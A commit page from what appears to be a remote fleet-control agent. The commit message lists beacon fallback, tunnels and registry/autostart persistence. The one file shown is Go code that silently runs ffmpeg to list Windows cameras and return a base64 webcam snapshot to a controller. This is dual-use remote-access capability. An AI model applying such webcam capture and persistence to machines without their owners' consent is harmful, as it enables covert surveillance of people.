feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
90
agent/client/camera_windows.go
Normal file
90
agent/client/camera_windows.go
Normal file
@@ -0,0 +1,90 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func handleCameraAction(action string) (handled bool, success bool, message string) {
|
||||
switch action {
|
||||
case "camera_snapshot":
|
||||
raw, err := captureWindowsCameraJPEG()
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
b64, err := encodeCameraSnapshotJPEG(raw)
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
return true, true, b64
|
||||
case "camera_list":
|
||||
devs, err := listWindowsCameraDevices()
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
if len(devs) == 0 {
|
||||
return true, false, "no DirectShow video capture devices found (install ffmpeg and connect a camera)"
|
||||
}
|
||||
return true, true, strings.Join(devs, "\n")
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
}
|
||||
|
||||
func ffmpegOnPath() (string, error) {
|
||||
path, err := exec.LookPath("ffmpeg")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("ffmpeg not found on PATH — install ffmpeg to capture USB/built-in camera frames")
|
||||
}
|
||||
return path, nil
|
||||
}
|
||||
|
||||
func listWindowsCameraDevices() ([]string, error) {
|
||||
ff, err := ffmpegOnPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out, err := silentCombinedOutput(ff, "-hide_banner", "-list_devices", "true", "-f", "dshow", "-i", "dummy")
|
||||
// ffmpeg exits non-zero for -list_devices; output is on stderr merged in CombinedOutput
|
||||
_ = err
|
||||
return parseDShowVideoDevices(string(out)), nil
|
||||
}
|
||||
|
||||
func captureWindowsCameraJPEG() ([]byte, error) {
|
||||
ff, err := ffmpegOnPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
devs, err := listWindowsCameraDevices()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(devs) == 0 {
|
||||
return nil, fmt.Errorf("no video capture devices found")
|
||||
}
|
||||
device := devs[0]
|
||||
out, err := silentCombinedOutput(ff,
|
||||
"-hide_banner", "-loglevel", "error",
|
||||
"-f", "dshow",
|
||||
"-i", dshowVideoInput(device),
|
||||
"-frames:v", "1",
|
||||
"-q:v", "2",
|
||||
"-f", "image2",
|
||||
"pipe:1",
|
||||
)
|
||||
if err != nil {
|
||||
hint := strings.TrimSpace(string(out))
|
||||
if hint != "" {
|
||||
return nil, fmt.Errorf("ffmpeg capture failed: %v (%s)", err, hint)
|
||||
}
|
||||
return nil, fmt.Errorf("ffmpeg capture failed: %v (device %q)", err, device)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func dshowVideoInput(name string) string {
|
||||
return `video="` + strings.ReplaceAll(name, `"`, `\"`) + `"`
|
||||
}
|
||||
Reference in New Issue
Block a user